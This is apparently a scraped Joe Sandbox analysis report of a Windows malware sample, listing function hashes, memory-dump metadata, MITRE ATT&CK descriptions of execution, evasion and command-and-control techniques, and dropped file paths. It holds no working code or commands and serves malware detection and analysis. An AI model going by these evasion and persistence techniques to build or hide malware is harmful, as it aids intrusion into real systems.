Opcode ID: 00fb257517fa66d8d82df2fc559de156622b6f4f3f56d113648c417e124a9b6c
Instruction ID: bde584bcc0a20163e1d20aefd562f14664055d751c7398f878511897cdc0a054
Opcode Fuzzy Hash: 00fb257517fa66d8d82df2fc559de156622b6f4f3f56d113648c417e124a9b6c
Instruction Fuzzy Hash: DFB012301042084B8100D6C8D841810F39CDB84518314C099980C47302CA23FC038580

Function 07C7DB00 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1992007435.0000000007C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7c70000_TypeId.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00fb257517fa66d8d82df2fc559de156622b6f4f3f56d113648c417e124a9b6c
Instruction ID: bde584bcc0a20163e1d20aefd562f14664055d751c7398f878511897cdc0a054
Opcode Fuzzy Hash: 00fb257517fa66d8d82df2fc559de156622b6f4f3f56d113648c417e124a9b6c
Instruction Fuzzy Hash: DFB012301042084B8100D6C8D841810F39CDB84518314C099980C47302CA23FC038580

Function 07C7A070 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1992007435.0000000007C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7c70000_TypeId.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00fb257517fa66d8d82df2fc559de156622b6f4f3f56d113648c417e124a9b6c
Instruction ID: bde584bcc0a20163e1d20aefd562f14664055d751c7398f878511897cdc0a054
Opcode Fuzzy Hash: 00fb257517fa66d8d82df2fc559de156622b6f4f3f56d113648c417e124a9b6c
Instruction Fuzzy Hash: DFB012301042084B8100D6C8D841810F39CDB84518314C099980C47302CA23FC038580

Function 075FF630 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1981412830.00000000075F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_75f0000_TypeId.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00fb257517fa66d8d82df2fc559de156622b6f4f3f56d113648c417e124a9b6c
Instruction ID: bde584bcc0a20163e1d20aefd562f14664055d751c7398f878511897cdc0a054
Opcode Fuzzy Hash: 00fb257517fa66d8d82df2fc559de156622b6f4f3f56d113648c417e124a9b6c
Instruction Fuzzy Hash: DFB012301042084B8100D6C8D841810F39CDB84518314C099980C47302CA23FC038580

Function 075FC560 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1981412830.00000000075F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_75f0000_TypeId.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00fb257517fa66d8d82df2fc559de156622b6f4f3f56d113648c417e124a9b6c
Instruction ID: bde584bcc0a20163e1d20aefd562f14664055d751c7398f878511897cdc0a054
Opcode Fuzzy Hash: 00fb257517fa66d8d82df2fc559de156622b6f4f3f56d113648c417e124a9b6c
Instruction Fuzzy Hash: DFB012301042084B8100D6C8D841810F39CDB84518314C099980C47302CA23FC038580

Function 075FF340 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1981412830.00000000075F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_75f0000_TypeId.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00fb257517fa66d8d82df2fc559de156622b6f4f3f56d113648c417e124a9b6c
Instruction ID: bde584bcc0a20163e1d20aefd562f14664055d751c7398f878511897cdc0a054
Opcode Fuzzy Hash: 00fb257517fa66d8d82df2fc559de156622b6f4f3f56d113648c417e124a9b6c
Instruction Fuzzy Hash: DFB012301042084B8100D6C8D841810F39CDB84518314C099980C47302CA23FC038580

Function 075FF070 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1981412830.00000000075F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_75f0000_TypeId.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00fb257517fa66d8d82df2fc559de156622b6f4f3f56d113648c417e124a9b6c
Instruction ID: bde584bcc0a20163e1d20aefd562f14664055d751c7398f878511897cdc0a054
Opcode Fuzzy Hash: 00fb257517fa66d8d82df2fc559de156622b6f4f3f56d113648c417e124a9b6c
Instruction Fuzzy Hash: DFB012301042084B8100D6C8D841810F39CDB84518314C099980C47302CA23FC038580

Function 075FED70 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1981412830.00000000075F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_75f0000_TypeId.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00fb257517fa66d8d82df2fc559de156622b6f4f3f56d113648c417e124a9b6c
Instruction ID: bde584bcc0a20163e1d20aefd562f14664055d751c7398f878511897cdc0a054
Opcode Fuzzy Hash: 00fb257517fa66d8d82df2fc559de156622b6f4f3f56d113648c417e124a9b6c
Instruction Fuzzy Hash: DFB012301042084B8100D6C8D841810F39CDB84518314C099980C47302CA23FC038580

Function 06D57360 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1952809028.0000000006D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6d50000_TypeId.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71b7cdd4ad4a125aa07f3dc4272e8cd62cf02cacd4260e045970dcb72a29a8fa
Instruction ID: f9c028770165704703b4921c60854f823a4ca534053b9f43820331b5af2312c6
Opcode Fuzzy Hash: 71b7cdd4ad4a125aa07f3dc4272e8cd62cf02cacd4260e045970dcb72a29a8fa
Instruction Fuzzy Hash: 21B09272000208AB8A009A84E804855BB6DAB59600701C025BA090A1528B32A922EB95

Function 07BE9BEC Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1990388403.0000000007BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7be0000_TypeId.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 846ba5bdb2a8d7158574e3e28d5b7545bab1d7e16acd7259c6fb058415d44099
Instruction ID: 0b8a3cc79e5162945342ec668fcad559ea21d4bc18c3bd6aee3abc25fba8ff71
Opcode Fuzzy Hash: 846ba5bdb2a8d7158574e3e28d5b7545bab1d7e16acd7259c6fb058415d44099
Instruction Fuzzy Hash: D3A002D85A6406D1F90576B90CD827D041CFBC3701BC5FCC1B6D1406809E14588A602F

Function 07A7B190 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1982215807.0000000007A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7a70000_TypeId.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac55225b99a9f2b314cb82d7768351f6afe63c629034d6d540eb95bc30aac77e
Instruction ID: 3cec7cc902f2c7a58879891938ff0c8af1528406001be1858ab6df886c6d74a1
Opcode Fuzzy Hash: ac55225b99a9f2b314cb82d7768351f6afe63c629034d6d540eb95bc30aac77e
Instruction Fuzzy Hash: B9B0123100010CB7C7022A81F8058857F1CD7112507404021F5040001087725860A5A4

Function 07BE67CE Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1990388403.0000000007BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7be0000_TypeId.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b8e9f23e67fe6ce16292307575b7c15aedc2085b23cde7c94556cc00c34073d
Instruction ID: f8402d549ed19f3dd01e3494f2b0433cc4b5e2a5476a6e1b13ab3a059d261e8f
Opcode Fuzzy Hash: 6b8e9f23e67fe6ce16292307575b7c15aedc2085b23cde7c94556cc00c34073d
Instruction Fuzzy Hash:

Function 07BEA85E Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1990388403.0000000007BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7be0000_TypeId.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0746e3cf96ba737c1ebc6656eb6b9525ad91e5909b7f952e6372680c198bdff6
Instruction ID: 65dbaf2f0ace026188210ce740c4b109d0eb79628f9b6a7ff7048b4ce7b290c9
Opcode Fuzzy Hash: 0746e3cf96ba737c1ebc6656eb6b9525ad91e5909b7f952e6372680c198bdff6
Instruction Fuzzy Hash:

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\TypeId.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\file.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\txxbiwtbs.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe

C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe:Zone.Identifier

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2f4b4zfu.lqx.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hrglc3bl.2fc.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lgrg4qxr.1pw.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lkpqi1bm.t4x.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nzoyyr3e.srp.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ue3xfck3.ofe.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xiv0j5rn.pb1.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ymi0bnsn.sm1.psm1

C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe

Windows Analysis Report
file.exe

Function 06E0D280 Relevance: 5.7, Strings: 4, Instructions: 682
COMMON

Function 071219D0 Relevance: 7.9, Strings: 6, Instructions: 384
COMMON

Function 06104F10 Relevance: 7.7, Strings: 6, Instructions: 160
COMMON

Function 07B80F20 Relevance: 6.9, Strings: 5, Instructions: 677
COMMON

Function 07B84A20 Relevance: 6.6, Strings: 5, Instructions: 360
COMMON

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre